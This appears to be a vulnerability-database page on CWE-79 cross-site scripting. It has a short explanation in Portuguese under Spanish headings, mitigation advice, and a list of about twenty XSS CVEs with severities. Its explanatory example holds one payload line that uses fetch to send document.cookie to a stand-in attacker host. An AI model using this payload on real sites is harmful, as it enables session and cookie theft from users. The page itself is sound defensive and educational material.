Fallos del tipo CWE-79

29.613 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-85189HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via executable URL schemes in Modals extension for Joomla < 17.0.0EPSS 0.4%CVE-2025-24530MEDIUMAn issue was discovered in phpMyAdmin 5.x before 5.2.2. An XSS vulnerability has been discovered for the check tables feature. A crafted tabEPSS 0.4%CVE-2024-20768MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-23807MEDIUMWordPress MojoPlug Slide Panel Plugin <= 1.1.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-5564MEDIUMCross-site Scripting (XSS) - Stored in froxlor/froxlorEPSS 0.4%CVE-2023-26457MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Content ServerEPSS 0.4%CVE-2026-60029MEDIUMJoomla Extension - themexpert.com - Authenticated stored XSS in Quix Page Builder < 6.2.1EPSS 0.4%CVE-2026-78071HIGHJoomla Extension - digital-peak.com - Authenticated, privileged stored XSS in DP Calendar 7.0.0-8.19.5, 9.0.0-10.12.0EPSS 0.4%CVE-2026-12948MEDIUMStored Cross-Site Scripting (XSS)EPSS 0.4%CVE-2026-14337MEDIUMPega Platform versions 23.1.0 through 25.1.3 are affected by an Stored Cross-site scripting (XSS) vulnerability in a user interface component. Requires a high privileged user with a developer role.EPSS 0.4%CVE-2024-4618MEDIUMExclusive Addons for Elementor <= 2.6.9.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Team Member WidgetEPSS 0.4%CVE-2026-41723HIGHVMSA-2026-0004: VMware Cloud Foundation Operations updates address multiple vulnerabilities (CVE-2026-41722, CVE-2026-41723 and CVE-2026-41724)EPSS 0.4%CVE-2023-23852MEDIUMSAP Solution Manager (System Monitoring) - version 720, does not sufficiently encode user-controlled inputs, resulting in Cross-Site ScriptiEPSS 0.4%CVE-2026-60034CRITICALJoomla Extension - themexpert.com - Authenticated stored XSS in JMedia Extension < 1.6.0EPSS 0.4%CVE-2026-60028HIGHJoomla Extension - themexpert.com - Authenticated stored XSS in Quix Page Builder < 6.2.1EPSS 0.4%CVE-2023-31807MEDIUMCross Site Scripting vulnerability found in Chamilo Lms v.1.11.18 allows a local attacker to execute arbitrary code via a crafted payload toEPSS 0.4%CVE-2024-22491MEDIUMA Stored Cross Site Scripting (XSS) vulnerability in beetl-bbs 2.0 allows attackers to run arbitrary code via the post/save content parameteEPSS 0.4%CVE-2025-4075MEDIUMVMSMan login.php cross site scriptingEPSS 0.4%CVE-2024-4657CRITICALStrored XSS in Talent Software's BAP AutomationEPSS 0.4%CVE-2024-29376MEDIUMSylius 1.12.13 is vulnerable to Cross Site Scripting (XSS) via the "Province" field in Address Book.EPSS 0.4%